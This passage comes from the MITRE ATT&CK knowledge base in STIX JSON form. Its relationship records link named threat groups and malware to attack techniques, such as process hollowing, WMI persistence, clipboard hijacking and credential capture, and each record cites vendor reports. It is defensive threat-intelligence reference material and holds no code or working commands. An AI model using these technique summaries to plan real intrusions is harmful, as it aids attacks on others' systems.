ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-04-17T22:12:24.931Z","description":"[Elise](https://attack.mitre.org/software/S0081) is capable of launching a remote shell on the host to delete itself.(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ad5e568c-376c-4ab8-be50-e965feb0c160","created":"2022-06-15T13:56:07.037Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has established email accounts for use in domain registration including for ProtonMail addresses.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T13:56:07.037Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2020-05-14T15:14:33.559Z","description":"[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad60e0be-02a4-4f79-a81d-afdde78492be","type":"relationship","created":"2019-07-18T20:47:50.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:05:37.555Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) exploited a publicly-facing servers including Wildfly/JBoss servers to gain access to the network.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad63da4a-163d-49b4-b923-f4df799ab183","created":"2023-03-23T18:12:10.200Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T18:12:10.200Z","description":"During [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used WMI event subscriptions to establish persistence for malware.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad696f42-0631-43fb-893b-a5616f14f93f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hacking Team","description":"FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-15T19:28:00.872Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) is able to wipe event logs.(Citation: FireEye Hacking Team)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad6cad0b-d827-4182-baf9-826c6788cf4e","created":"2023-07-31T19:35:50.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:11:01.987Z","description":"(Citation: Microsoft Volt Typhoon May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad6fdc42-3f34-4412-b1a8-3af6728917f7","created":"2024-05-21T18:01:54.520Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:01:54.520Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used `net start` to list running services.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad701054-044b-4e9a-a96b-4a477ae874b2","type":"relationship","created":"2021-03-19T13:19:57.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:34:23.759Z","description":"[Out1](https://attack.mitre.org/software/S0594) can copy files and Registry data from compromised hosts.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad731b3e-709e-49d0-a501-6fe69f78a428","created":"2019-04-17T13:46:38.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"},{"source_name":"Cybereason Astaroth Feb 2019","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.416Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses [certutil](https://attack.mitre.org/software/S0160) and [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional malware. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.039Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used process hollowing in iexplore.exe to load the [RedLeaves](https://attack.mitre.org/software/S0153) implant.(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad7770c3-fe24-4285-9ce2-1616a1061472","type":"relationship","created":"2019-04-17T14:45:59.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2019-06-28T14:59:17.849Z","description":"(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad77932b-9632-4816-b9af-db6257f5a7d4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T23:39:20.253Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) stores the gathered data from the machine in .db files and .bmp files under four separate locations.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad787fb5-9d63-423d-941f-bfe7648b2e24","created":"2019-01-29T18:55:20.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.663Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can upload and download files to and from the victim’s machine.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad7b6185-bdb1-4271-b139-2d71dd85c0d4","type":"relationship","created":"2020-10-21T18:31:51.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.567Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad7f635b-7775-4706-8577-eee00612c996","type":"relationship","created":"2020-11-06T18:40:38.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.218Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad825dd4-a26c-4468-8c11-91124ef9042d","type":"relationship","created":"2020-06-19T20:39:21.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:39:21.857Z","description":"[Denis](https://attack.mitre.org/software/S0354) has a version written in PowerShell.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad87ebba-c4fc-458a-8ccd-c1cbd16ae14d","created":"2022-09-28T13:29:53.437Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T13:29:53.437Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad880548-e776-4e7b-995d-ce6fdc91e865","type":"relationship","created":"2020-06-25T17:48:41.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.340Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used icons mimicking MS Office files to mask malicious executables.(Citation: objective-see windtail1 dec 2018) [Windshift](https://attack.mitre.org/groups/G0112) has also attempted to hide executables by changing the file extension to \".scr\" to mimic Windows screensavers.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad895e1f-327d-4873-9d73-5bc4bf60e816","created":"2024-03-29T14:58:29.805Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:58:29.806Z","description":"[WARPWIRE](https://attack.mitre.org/software/S1116) can capture credentials submitted during the web logon process in order to access layer seven applications such as RDP.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad8a8754-3852-440f-926e-22ec8dcf419a","created":"2024-09-25T18:36:20.168Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:36:20.168Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used valid domain accounts for access.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad8d3784-2eea-47b4-b13d-d16d0211acf3","type":"relationship","created":"2020-07-06T14:49:46.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-07-06T14:49:46.322Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has obtained information on security software, including security logging information that may indicate whether their malware has been detected.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ad8fcad2-fe74-4795-b369-eb669c75b9b5","created":"2022-04-06T20:08:48.209Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has relied on victims clicking on a malicious link delivered via email.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:08:48.209Z","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad8fdfa4-5e0b-437d-9723-9bc5a272f465","type":"relationship","created":"2020-06-29T03:27:51.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.254Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. [ComRAT](https://attack.mitre.org/software/S0126) has also used a unique password to decrypt the file used for its hidden file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad934b01-9c8c-42cd-8195-dc272c363208","type":"relationship","created":"2019-01-29T20:17:49.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","source_name":"TrendMicro Tropic Trooper Mar 2018"},{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"}],"modified":"2019-06-30T22:44:28.217Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 